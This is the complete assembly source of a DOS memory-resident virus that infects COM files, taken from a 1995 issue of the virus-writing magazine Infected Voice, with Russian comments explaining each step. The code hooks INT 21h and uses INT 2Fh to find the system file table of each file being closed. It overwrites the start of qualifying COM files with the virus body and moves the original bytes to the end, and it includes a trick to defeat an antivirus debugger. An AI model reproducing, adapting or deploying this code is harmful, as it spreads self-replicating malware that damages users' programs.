;     ▄▄                  █
;    ▀▀▀  Virus Magazine  █ Box 10, Kiev 148, Ukraine       XII 1995
;    ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
;     ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▄▀▀▄ █ 
;      █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █ ▄▀▀▄ █
;      █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █ ▀▄▄▀ █
;      ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
;      (C) Copyright,1994-95,by STEALTH group WorldWide, unLtd.
 
;  То что Вы увидити ниже является, так сказать
;  "вторыми шагами в программировании" по аналогии с "первыми ..."
;  это стандартный резидент+com в реализации на CLOSE
;  Вирус не есть творческое произведение, а реализация
;  разных кусков из разных вирусов (Публиковавшихся ранее в INFECTED VOICE)
;  в один единственный вирус. Посему прошу нижайше меня извинить, если
;  кто увидит что-то свое без авторского (C)
;
;                                              Int O'Dream

.286
.model tiny
.code
org 100h
start:
nop                          ; Байты, по которым Мы
nop                          ; видим, что файл заражен.
pusha
push es ds                   ; Сохраняем ES DS
mov ax,1234h                 ; Определяем наличие в памяти
int 21h                      ; другого такого-же как наш вирус
cmp ax,4321h                 ; Ежели вируса нет в памяти
jnz @1                       ; то следуем далее
jmp quit                     ; ежели есть - отваливаем
@1:
mov ax,ds
dec ax                          ; в ES мы запихиваем PSP-1
mov es,ax                       ; т.е. указатель на наш MCB
sub word ptr es:[03],len*2/16+1   ; Уменьшаем об'ем доступной памяти
sub word ptr ds:[2],len*2/16+1    ; на 2 своих длинны в MCB и в PSP
mov ax,ds:[2]                   ; запихиваем в AX наш сегмент
sub ax,10h                      ; уменьшаем его на 16 чтобы
mov es,ax                       ; смещения совпадали
mov si,100h                     ; настраиваем все как положенно
mov di,si                       ; и копируем свое тело в последний
mov cx,len                      ; сегмент, который не доступен для
cld                             ; других программ.
rep movsb                       ; DS:SI - > ES:DI (len)
                                ; То есть ES= НАШ сегмент - 10h
                                ; чтоб es:107 к примеру совпадало с
                                ; c наш сегмент:7
xor ax,ax                       ; Настраиваем DS на таблицу
mov ds,ax                       ; прерываний
mov ax,word ptr ds:[21h*4]      ; В AX <- смещение 21 int'a
mov word ptr es:[old_21],ax     ; Сохраняем это значение у себя в сегменте

mov ax,word ptr ds:[21h*4+2]    ; Аналогично поступаем с сегментом
mov word ptr es:[old_21+2],ax   ; 21 прерывания.

push offset @7                 ; А это прикол для WEB'a
ret                            ; который уже полноэкранный и
                               ; типа здоровый.
mov ds,ax                      ; Но этот трюк все-равно проходит
                               ; по крайней мере у меня

@7:
mov word ptr ds:[21h*4],offset int_21   ; А теперь перехватываем 21 int
mov word ptr ds:[cs:21h*4+2],es         ; на наш сегмент:смещение

quit:              ; Либо ВСЕ ХОРОШО либо ПЛОХО (Логика)
pop ds es
popa

; Память Мы уже заразили - пора сматывать удочки

mov si,word ptr cs:lena  ; Длинна зараженной пpогpаммы
mov di,100h              ; Находим кусок в памяти, где у нас
add si,di                ; притаилось начало зараженной программы
mov cx,len               ; настраиваем все как надо
cld                      ; DS:SI - > ES:DI


mov bx,0fch
mov word ptr cs:[bx],0a4f3h  ; Эти байты обозначают REP MOVSB
mov word ptr cs:[bx+2],00ebh ; А эти JMP SHORT +0h

    ; То есть в итоге получается такая конструкция
    ; PSP:0fch,0fdh - REP MOVSB - Пересылка начало зараженной проги на 100h
    ; PSP:0feh,0ffh - JMP 100h - сброс конвеера и переход на исполнение
push bx

ret       ; RET Отдает управление по адресу PSP:0fch



  ;КОНЕЦ ОДНОЙ ЧАСТИ - НАЧАЛО ДРУГОЙ


old_21 dd 0   ; - ТУТ Мы храним старое значение 21 int'a

int_21:    ; Начало обработчика 21 int'a
pushf          ; сохраним флаги
cmp ax,1234h   ; есть ли мы в памяти (Глупый вопрос) ?
jnz @2         ; нету ПОКА
mov ax,4321h   ; НУ конечно ЖЕ !!!!!!!!
popf           ; НАЗАД флаги
retf 2         ; НАЗАД в ЗАРАЖЕННУЮ ПРОГРАММУ

@2:
cmp ah,03eh    ; 21 int вызывает функцию CLOSE
jnz @3         ; НЕТ !!!!!!!  ЗРЯ !!!!!!!!

pusha           ; АГА ВОТ ОНИ МЫ
push es ds


push bx           ; ЭТО есть СТАНДАРТНЫЙ БЛОК
mov ax,1220h      ; ДЛЯ УЗНАВАНИЯ SFT для
int 2fh           ; ДАННОГО ФАЙЛА
mov bl,es:[di]
mov ax,1216h      ; И ПОЭТОМУ БОЛЬШЕ ГОВОРИТЬ ТУТ НЕ О ЧЕМ
int 2fh           ; ЕСЛИ ВДРУГ НЕ ЗНАЕТЕ ЧТО ЭТО ТАКОЕ -
pop bx            ; ТО HELPPC - ВСЕГДА ВАМ ПОМОЖЕТ

cmp es:[di+40],'OC'   ; закрываемый файл - не *.COm ???
jnz fuck              ; ЭТИМ ВСЕ СКАЗАНО
cmp word ptr es:[di+17],60000  ; ДЛИННА ЕГО БОЛЬШЕ 60000
ja fuck               ; АНАЛОГИЧНО
cmp word ptr es:[di+17],len    ; ИЛИ МЕНЬШЕ ДЛИННЫ ВИРУСА ???
jb fuck               ; ТУДА ЕГО !!!
mov word ptr es:[di+2],2  ; РЕЖИМ ОТКРЫТИЯ ФАЙЛА - read/write
mov word ptr es:[di+21],0 ; Указатель - на начало

mov ah,3fh                ; ПРОЧТЕМ из файла
push cs                   ; его заголовок
pop ds                    ; длинной = длинне вируса
lea dx,buf                ; В буфер за нашим вирусом
mov cx,len                ; Зря штоли выделяли 2*len памяти
int 21h

cmp word ptr cs:[buf],9090h  ; А там в начале заветные байты
jz fuck                      ; КАК МЫ ТАМ ГОВОРИЛИ ???
mov word ptr es:[di+21],0    ; Указатель - на начало

mov ax,es:[di+17]           ; сохраняем длинну зараженной
mov cs:lena,ax              ; программы у себя в теле

mov ah,40h                  ;  И копируем себя в начало этой
mov dx,100h                 ;  программы со всеми вытекающими
mov cx,len                  ;  отсюда последствиями
int 21h                     ;

mov ax,cs:lena              ; Указатель - в конец
mov es:[di+21],ax           ; файла

mov ah,40h                  ;  И дописывем начало зараженной
lea dx,buf                  ;  программы в конец
mov cx,len
int 21h                     ; Тот кто был первым - станет последним ....

fuck:            ; ЛИБО - ЛИБО

pop ds es       ; ВСЕ ВОССТАНАВЛИВАЕМ
popa


@3:
popf            ; И ФЛАГИ ТОЖЕ
jmp dword ptr cs:old_21  ; И НАЗАД В ХАОС


lena  dw len        ; МЕСТО ДЛЯ СОХРАНЕНИЯ ДЛИННЫ
                    ; зараженной программы
                    ; СЕЙЧАС = LEN - ДЛЯ первого запуска

len equ $-start      ; len - длинна вируса

ret                 ; RET ДЛЯ ИНИЦИАЛИЗАЦИИ
buf:                ; НАЧАЛО БУФЕРА
end start


;P.S. Конечно сей вирус можно уменьшить сразу байт на 30,
; а можно и больше, но данная цель не преследовалась.

; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
